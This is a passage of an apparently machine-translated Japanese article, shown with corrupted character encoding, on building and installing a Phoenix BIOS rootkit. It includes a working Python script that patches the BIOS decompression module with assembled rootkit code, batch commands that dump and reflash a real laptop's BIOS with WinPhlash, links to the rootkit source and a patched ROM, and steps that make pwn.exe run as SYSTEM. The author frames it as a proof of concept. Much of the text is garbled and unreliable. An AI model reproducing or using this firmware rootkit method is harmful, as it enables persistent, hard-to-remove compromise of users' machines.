BIOSã®è§£åãšããã
ã«ãŒãããããBIOSã«æ¿å ¥ããæ¹æ³ãããã£ãã®ã§ã次ã®ã¹ãããã¯ãå®éã«BIOSã«ã«ãŒããããã³ãŒãããããããããšã§ãããããè¡ãã«ã¯ããã¹ãŠã®BIOSã¢ãžã¥ãŒã«ãæœåºããè§£åã¢ãžã¥ãŒã«ã«ããããé©çšããŠããã¹ãŠãåæ§ç¯ããå¿ èŠããããŸããã¢ãžã¥ãŒã«ã¯ãphxdecoã³ã³ãœãŒã«ãŠãŒãã£ãªãã£ãŸãã¯Phoenix BIOSEditorã䜿çšããŠæœåºã§ããŸããè§£åã¢ãžã¥ãŒã«ãæœåºãããåŸã次ã®ã³ãŒãã§ã«ãŒããããããããããŸãã
#!/usr/bin/python
import os,struct,sys
###############################################
# BIOS -
# Phoenix BIOS Editor ( Windows) , , «DECOMPC0.ROM».
# C:\Program Files\Phoenix Bios Editor\TEMP ( ) BIOS WPH. .
# , BIOS Editor BIOS - BIOS Editor BIOS WPH.
# phnxdeco.exe, .
# , NASM , .
#
# INPUT:
# , asm- BIOS .
#
# OUTPUT:
# DECOMPC0.ROM, , , , asm- BIOS.
#
if len(sys.argv) < 2:
print "Modify and rebuild Phoenix BIOS DECOMP0.ROM module. Rootkit ASM code filename
required!"
exit(0)
#
shellcode = sys.argv[1].lower()
# . NASM , !
os.system('nasm %s' % shellcode)
#
shellcodeout = shellcode[0:len(shellcode)-4]
decomphook = open(shellcodeout,'rb').read()
print "Rootkit code loaded: %d bytes" % len(decomphook)
# , 0x23 ROM .
# ROM , push, CLD. mov.
# , .
# , , Near Call, ROM- , .
# NOP .
minihook = '\xe8\x28\x04\x90\x90\x90'
# , , !
# minihook = '\x9a\x5A\x04\xDC\x64\x90' # call far +0x45A
# ROM
decorom = open('DECOMPC0.ROM','rb').read()
# - 0x23, CLD
hookoffset=0x23
# ROM , ,
decorom = decorom[:hookoffset]+minihook+decorom[len(minihook)+hookoffset:]
# ROM NOP.
# , , .
decorom+="\x90"*100+decomphook
# 10 NOP .
decorom=decorom+'\x90'*10
# ROM,
decorom=decorom[:0xf]+struct.pack("<H",len(decorom)-0x1A)+decorom[0x11:]
# ROM
out=open('DECOMPC0.ROM','wb')
out.write(decorom)
out.close()
#
print "The DECOMPC0.ROM file has now been patched."
ãã®ã¹ã¯ãªããã®åŒã³åºãäŸã¯æ¬¡ã®ãšããã§ãã
python patchdecomp.py biosrootkit.asm
ãã¹ãŠãæ£åžžã«æ©èœããå Žåã¯ã次ã®ãããªãã®ã衚瀺ãããŸãã
Rootkit code loaded: 1845 bytes
The DECOMPC0.ROM file has now been patched.
BIOSãåæ§ç¯ããŸã
VMwareã«å«ãŸããŠãããã®ãªã©ã®ãã©ã€ããªBIOSãã¡ã€ã«ã®å ŽåãPhoenix Bios Editorã«å«ãŸããŠããïŒãŸãã¯Intelããå ¥æå¯èœãªïŒå€æ°ã®ã³ãã³ãã©ã€ã³ãŠãŒãã£ãªãã£ã䜿çšããŠåæ§ç¯ã§ããŸãããã®åŸãå®éã®PââCã§ãã¹ãããå ŽåãBIOSããã©ã€ããªåœ¢åŒã ãã§ãªãä¿åããå¿ èŠããã£ããããåæ§ç¯ã®ããŒã«ãšããŠGUIããŒãžã§ã³ã®Phoenix BiosEditorã䜿çšããŸãããæ®å¿µãªãããããã¯ãå°ãªããšãæºåãããããŒã«ã䜿çšããã«ãã·ã¹ãã äžã§å®è¡ããŠBIOSã«ææã§ããã¢ããªã±ãŒã·ã§ã³ã1ã€ã ãæã€ããšã¯äžå¯èœã§ããããšãæå³ããŸãã
ããã¯ãBIOSææããäž»ã«åçµã¿ç«ãŠãªã©ã®æåä»å ¥ãå¿ èŠãšãã3段éã®ããã»ã¹ã§ããããšãæå³ããŸãã BIOSã€ã¡ãŒãžãéããŠããPhoenixBIOSãšãã£ã¿ãŒã以äžã«ç€ºããŸãã
Phoenix BIOS Editorã¯ã¢ãžã¥ãŒã«ã眮ãæããããã«éçºãããããã§ã¯ãããŸããããããã§ããã®ãããªæ©äŒãæäŸããŸããBIOSã€ã¡ãŒãžãåããŠéããšããã¹ãŠã®BIOSã¢ãžã¥ãŒã«ããã£ã¹ã¯ã®ã«ãããã©ã«ããŒã«æœåºãããŸã
C:\Program Files\Phoenix BIOS Editor\TEMP\ã鿢±ã¢ãžã¥ãŒã«ã¯ããã®ãã©ã«ããŒããã³ããŒããŠä¿®æ£ãã亀æããããšãã§ããŸããPhoenix BIOS Editorã§ã¯BIOSã倿Žããã«ä¿åã§ããªããããBIOSãä¿åããã«ã¯ãæååå€ã倿ŽããŠããå
ã«æ»ãå¿
èŠããããŸãïŒãŸãã¯ãã®ãŸãŸã«ããŠãããŸãïŒã
BIOSã«ãŒããããã®ãœãŒã¹ã³ãŒããšãããé©çšã¹ã¯ãªããã¯ããã¹ãŠèªåã§å®è¡ãããå Žåã¯ããã®èšäºã®æåŸã«ãããªã³ã¯ããããŠã³ããŒãã§ããŸãã
å®éã®PC
Phoenix BIOSã¯ãã¹ãŠã®VMwareããŒã¹ã®èšèšã§äœ¿çšãããŠãããããç©çPCã§ã®ãã¹ãã«ãéžæãããŸããããã¹ãŠã®ç©ççïŒä»®æ³ã§ã¯ãªãïŒBIOSãã¹ãã¯ãHP Pavilionze4400ã©ãããããã䜿çšããŠå®æœãããŸãããBIOSãã¹ãã¯ãå¿ èŠã«å¿ããŠãã©ãã·ã¥ã®ããã«PCã®ãã¶ãŒããŒãã«ã¢ã¯ã»ã¹ããæ¹ãã¯ããã«ç°¡åã§ãããããåœåã¯ã©ãããããã§ã¯ãªãPCã䜿çšããŠèšç»ãããŠããŸããããšã«ãããPhoenix BIOSãæèŒããPCããã°ããèŠã€ããã®ã¯ç°¡åã§ã¯ãªãã£ãããã代ããã«ã©ãããããã䜿çšããå¿ èŠããããŸããïŒBIOSã«èª€ã£ãŠãœãŒã¹ã³ãŒããæžã蟌ãã åŸã«ã©ãããããããã©ãã·ã¥ããŠãããDavidã«ç¹ã«æè¬ããŸãïŒïŒ
PCã§ã®BIOSã®æœåº
å®éã®ã·ã¹ãã BIOSã倿Žããããã®æåã®ã¹ãããã¯ããã®ã³ããŒãæœåºããããšã§ãããã§ããã¯ã¹ã«ã¯ãéåžžãã®ç®çã®ããã«æäŸããã2ã€ã®ç°ãªãããŒã«ããããŸãã1ã€ã¯ãPhlash16ããšåŒã°ãããã1ã€ã¯ãWinPhlashããšåŒã°ããŸãã Phlash16ã¯ïŒã³ã³ãœãŒã«GUIãåããïŒã³ãã³ãã©ã€ã³ãŠãŒãã£ãªãã£ã§ãããDOSããã®ã¿å®è¡ãããŸãã WinPhlashã¯ããã®ååã瀺ãããã«ãWindowsããå®è¡ãããŸããããã¯GUIãŠãŒãã£ãªãã£ã§ãããã³ãã³ãã©ã€ã³ãã©ã¡ãŒã¿ãåãå ¥ãããããBIOSæœåºããã»ã¹ãèªååã§ããŸãããã®ãããžã§ã¯ãã§ã¯ãBIOSã®æœåºãšãããé©çšãèªååããããã«ããã€ãã®ã¹ã¯ãªãããäœæããŸãããããããã¯ããªãåå§çã§ããŸãæ©èœçã§ã¯ãããŸããã
次ã®ãããã¹ã¯ãªããã¯ãBIOSããšããååã®ãã¡ã€ã«ã«ã³ããŒãã
BIOSORIG.WPH以åã«å€æŽãããŠãããã©ããã確èªããŸãã Perlã¹ã¯ãªããCheckFlash.py BIOSã®å
容ã§ç§ã®ååããã§ãã¯ããã ãã§ã倿ŽãããŠããªãBIOSã«ã¯ãããŸããã
@rem BIOS , .
@rem
WinPhlash\WinPhlash.exe /ro=BIOSORIG.WPH
@rem , BIOS
Python\PortablePython_1.1_py2.6.1\App\python CheckFlash.py WinPhlash\BIOSORIG.WPH
PCã§ã®BIOSã®è§£åãšããã
BIOSãæœåºããããæ¬¡ã®ã¹ãããã¯ã«ãŒããããã³ãŒãã§ããããé©çšããããšã§ããããã¯ãäžèšã®ã»ã¯ã·ã§ã³ã§VMwareã«äœ¿çšããã®ãšåãã¹ã¯ãªããã䜿çšããŠå®è¡ã§ããŸãããã®ãããžã§ã¯ãã®ç®æšã¯ãå¯èœãªéãäžè²«ããããããšãããé©çšããã»ã¹ãäœæããããšã§ããããããå®å šã«å®çŸå¯èœã§ãããåãã¿ã€ãã®BIOSã§å®è¡ãããŠãããŸã£ããç°ãªãããŒããŠã§ã¢ã«åãããŒã«ã䜿çšã§ããããšãéåžžã«å¬ããæããŸãã
PCã§BIOSãåæ§ç¯ãã
Phoenix BIOSããã¢ãžã¥ãŒã«ãæœåºã§ããç¡æã®ããŒã«ããããŸãããPhoenix BiosEditorã ããéåžžã®PCãå¿ èŠãšããæ¹æ³ã§ã¢ãžã¥ãŒã«ãçµã¿ç«ãŠãŠããããã§ãã WinPhlashããŒã«ã§ã¯ãBIOSã§è¿œå æ å ±ãæå¹ã«ããå¿ èŠããããŸãããã®æ å ±ã¯ãçã®BIOSãšãšãã«WPHãã¡ã€ã«ã«ä¿åãããŸããå€ãã®ç°ãªããªãã·ã§ã³ããã¹ãããåŸãWPHãã¡ã€ã«ãæ£åžžã«æ§ç¯ããå¯äžã®æ¹æ³ã¯Phoenix Bios EditorGUIã䜿çšããããšã§ããããã«èŠããŸããæ®å¿µãªãããããã¯ãå°ãªããšãæäŸãããŠããããŒã«ã䜿çšããã«ãã·ã¹ãã äžã§å®è¡ããŠBIOSã«ææã§ããã¢ããªã±ãŒã·ã§ã³ã1ã€ã ãæã€ããšã¯äžå¯èœã§ããããšãæå³ããŸãã
çè«çã«ã¯ãWPH圢åŒããªããŒã¹ãšã³ãžãã¢ãªã³ã°ããŠãã«ã¹ã¿ã BIOSåæ§ç¯ããŒã«ãäœæããããšã¯å¯èœã§ãããããã¯ãã®ãããžã§ã¯ãã®ç¯å²å€ã§ãã代ããã«ãBIOSãžã®ææã¯ãäž»ã«åæ§ç¯ãªã©ãæåã«ããä»å ¥ãå¿ èŠãšãã3段éã®ããã»ã¹ã§ãã
VMware BIOSã«ããããé©çšããå Žåãšåæ§ã«ãåãææ³ã䜿çšããŠãPhoenix BIOSEditorã«ããããé©çšããã¢ãžã¥ãŒã«ãåæ§ç¯ãããããšãã§ããŸãã BIOSã€ã¡ãŒãžãåããŠéããšããã¹ãŠã®BIOSã¢ãžã¥ãŒã«ããã£ã¹ã¯ã®ãã£ã¹ã¯ã«æœåºãããŸãã
C:\Program Files\Phoenix BIOS Editor\TEMP\..ãè§£åã¢ãžã¥ãŒã«ã¯ããã®ãã©ã«ããŒããã³ããŒããŠãããããé©çšããŠçœ®ãæããããšãã§ããŸããPhoenix BIOS Editorã§ã¯BIOSããã®ãŸãŸç¶æã§ããªããããæååå€ã倿ŽããŠããå
ã«æ»ãïŒãŸãã¯ãã®ãŸãŸã«ããŠããïŒå¿
èŠããããŸãã
BIOSã®ç¹æ»
BIOSãWPHãã¡ã€ã«ã«åæ§ç¯ãããåŸã次ã®ãããã¹ã¯ãªããã¯ãæ°ããBIOSã€ã¡ãŒãžãBIOS EEPROMã«ç§»åãã倿Žãæå¹ã«ããããã«ã³ã³ãã¥ãŒã¿ãŒãåèµ·åããŸãã
@rem "BIOSPATCHED.WPH" BIOS , .
WinPhlash\WinPhlash.exe /bu=BIOSBACKUP.WPH /I BIOSPATCHED.WPH
ã©ãããããã§ã®å€æŽçµæ
ãããŸã§ã®ãã¹ãŠã®äœæ¥ããŸãšãããšã以äžã¯ãBIOSã³ãŒããã©ãããããã«ç§»æ€ãããæ¹æ³ã瀺ããŠããŸãïŒäžèšã®infect.batã¹ã¯ãªããã«ãã£ãŠéå§ãããŸããïŒã
ãã©ãã·ã¥ãå®äºããåŸãBIOSã«ãŒãããããæ£åžžã«éå§ãããWindowsã«ãŒãã«ã§èµ·åãããŸãããæ¬¡ã®ã¹ã¯ãªãŒã³ã·ã§ããã¯ãæåã¯éåžžã®ãŠãŒã¶ãŒãšããŠå®è¡ããããã®åŸ30ç§åŸã«ãã®ç¹æš©ãææ Œãããã³ãã³ãã©ã€ã³ã
瀺ããŠããŸããããã¯ãBIOSã«ãŒãããããè€æ°ã®ã·ã¹ãã ïŒVMwareãHPã©ãããããïŒã§å®è¡ããã®ã«ååãªããŒã¿ãã«ã§ãããææã¡ã«ããºã ãæ©èœçã§é©åã«æ©èœããŸãã
ãã®ãããžã§ã¯ãçšã«éçºããããã«ãŒãããããã¯ã1ã€ã®åçŽãªã¿ã¹ã¯ã®ã¿ãå®è¡ããŸãããVbootkit2ãœãããŠã§ã¢ã«é¢é£ããŠè¿°ã¹ãããã«ãè¿œå æ©èœã远å ã§ããªãçç±ã¯ãããŸããããã®ãããžã§ã¯ãã¯PhoenixBIOSãç¹åŸŽãšããŠãããPhoenixBIOSãšä»ã®ã¡ãŒã«ãŒã®BIOSã®éã«ã¯å€ãã®é¡äŒŒç¹ãããå¯èœæ§ããããŸããã³ãŒãã¯ãã³ããŒããšã«åå¥ã«äœæããå¿ èŠãããå¯èœæ§ããããŸããããã®æ°ã¯å€ããªããããã«ãŒããããã®æ©èœããã¹ãŠã®äžè¬çãªãã³ããŒã«æ¡åŒµããããšããå§ãããŸãã
ã¯ããã«ã眲åãããæŽæ°ãªã©ã®æ°ããBIOSæ©èœã«ãããããã§èª¬æããå 容ã®å€ããã»ãã¥ãªãã£äžã®è åšãããã¯ããã«å°ãªããªãããšãææããŸãããããã¯ç¢ºãã«æ³šæããã®ã¯è¯ãããšã§ããããæ°ãããã³ã³ãã¥ãŒã¿ããããå€ããã³ã³ãã¥ãŒã¿ã®æ¹ãå€ãããšãèŠããŠãã䟡å€ããããŸãããããã£ãŠããã®ã¿ã€ãã®æ»æã¯é·ãéåé¡ã«ãªããŸãã
VMwareBIOSãã¢ãšãœãŒã¹ã³ãŒã
以äžã®ãœãŒã¹ã³ãŒããšæ¹èšãããBIOSã¯ãæŠå¿µã®èšŒæãšããŠæäŸãããŠããŸããæ±ºããŠã人ã ããããæªæã®ããç®çã§äœ¿çšããããšãææ¡ããã®ã§ã¯ãªãããã®ãããªæ»æãå€ãBIOSæ§æã§éåžžã«å®è¡å¯èœã§ããããšã瀺ãããã£ãã®ã§ãããã®äœæ¥ãçŸç¶ã®ãŸãŸã§å®è¡å¯èœãªãã«ãŠã§ã¢ã«å€ããããšã¯çŸå®çã§ã¯ãªããšæããŸãããã®ããããã®ã³ãŒããã€ã³ã¿ãŒãããã«æçš¿ããŠããŸãã
åã®ã»ã¯ã·ã§ã³ã§èª¬æããããã«ããã®ã³ãŒãã¯ã»ãšãã©ã®ãã§ããã¯ã¹BIOSã«ããããé©çšããããã«æ©èœããã¯ãã§ãããããé©çšã®ã¹ã¯ãªããã¯ããããããŠã³ããŒãããããšãã§ããŸãïŒ
BIOS_Based_Rootkit_Patch_Scripts.zip
ã¶ã»BIOSã«ãŒããããã®ãœãŒã¹ã³ãŒãã¯ããããããŠã³ããŒãããããšãã§ããŸãïŒ
biosrootkit.asm
ããªãã¯å¿ èŠãšNASMãäžèšã®ã¹ã¯ãªãã/ãœãŒã¹ã³ãŒãã䜿çšããŠããå Žåã¯ãBIOSãããã³ãŒããã³ã³ãã€ã«ããŸããNASMãæ£åžžã«æ©èœããã«ã¯ããã¹å€æ°ã«è¿œå ãããããããã¹ã¯ãªãããæŽæ°ããŠçµ¶å¯Ÿãã¹ãèšå®ããŸããã¢ã³ããã«ãŒãå®å šãªBIOSã«æ»ãã«ã¯ãPhoenix BIOSEditorã®ã³ããŒãŸãã¯åçã®ç¡æçãå¿ èŠã§ãã
ããããã¹ãŠãèªåã§ã³ã³ãã€ã«ããã®ã§ã¯ãªããç§ãå ¥æãããã®ããã£ãšèŠãŠã¿ããå Žåã¯ãVMwareã§äœ¿çšããããã®ããããé©çšãããBIOSãBIOS_rootkit_demo.ROMããããŠã³ããŒãã§ããŸãã
æŠå¿µã®èšŒæãšã¡ã¢ã®äœ¿çš
äžèšã®ãã¹ãŠã®äœæ¥ãèªã¿ãããªãå Žåã¯ããããè©Šãæ¹æ³ãšãã®æ©èœã®æŠèŠã以äžã«ç€ºããŸãã
- ãŸãã
BIOS_rootkit_demo.ROMäžã®ãªã³ã¯ããç»åãããŠã³ããŒãããŠãã ããã - , VMware Windows XP. VMware Workstation, VMware Player ( ). , VMware Fusion .
- WinXP, , ,
.vmx(,WindowsXP.vmx) . , :bios440.filename = "BIOS_rootkit_demo.ROM". ,BIOS_rootkit_demo.ROM, . - ,
pwn.exe(,cmd.exe). - 30ç§åŸ
ã£ãŠãããã¿ã¹ã¯ãããŒãžã£ãŒãèµ·åããŸããããã§
Pwn.exeãXPã«ãã°ã€ã³ãããŠãŒã¶ãŒãšããŠã§ã¯ãªãããSYSTEMããŠãŒã¶ãŒãšããŠå®è¡ãããŠããã¯ãã§ãã
äžèšã®æé ã¯ãçæ³çãªäžçã§æ©èœããã¯ãã§ãããããããã¹ãã®çµæãã¿ã³ããªã³ã䜿ã£ã以äžã®ãã³ã¹ãæããã«ãªããŸããïŒ
- OSã®äžå®å®æ§ãã¢ããªã±ãŒã·ã§ã³ãããŒããããšãããŸãã¯åã«éãããšãã«ã
pwn.exeWindowsãBSODãçºè¡ããããšããããŸãã - 30代ã®ç¹æš©ãšã¹ã«ã¬ãŒã·ã§ã³æéããåã«ããã»ã¹ãéããšãã¿ã¹ã¯ãããŒãžã£ãŒã¯ããã»ã¹ã®ãŠãŒã¶ãŒã«ã€ããŠåãã€ããŸããwhoamiã§cmdã®ãããªãã®ã䜿çšããŠãæš©éãæ£ãã確èªããŠãã ããã
- ãããå®éã®PCã«æ£åžžã«ããŠã³ããŒãããŸããããåãããã«ããå Žåã®çµæã«ã€ããŠã¯è²¬ä»»ãè² ããŸããããããèµ·ãã£ãå Žåãããªããã©ã®ããã«ããªãã®ãã¶ãŒããŒããã°ãããæ¹æ³ã§ããªãã¯ãããã«ã€ããŠèãããã§ãããããç§ã¯ããããããªãã«çµæãå©ããŸããïŒãèªèº«ã®è²¬ä»»ã§ãã¹ãããŠãã ããïŒ
ãããã©ã®ããã«èµ·ãããã®ãããªãèŠããã ããªããã³ãªã³ã¯ãããYouTubeã«æçš¿ããŸããïŒ å®éã«VMwareã§ããã詊ãããšããå§ãããŸããããŒããã©ã€ããã¯ã€ãããŠãäœã解決ããããã·ã¹ãã ããŸã é©ããŠããããšã確èªããæ¹ãã¯ããã«æ¥œããã§ãã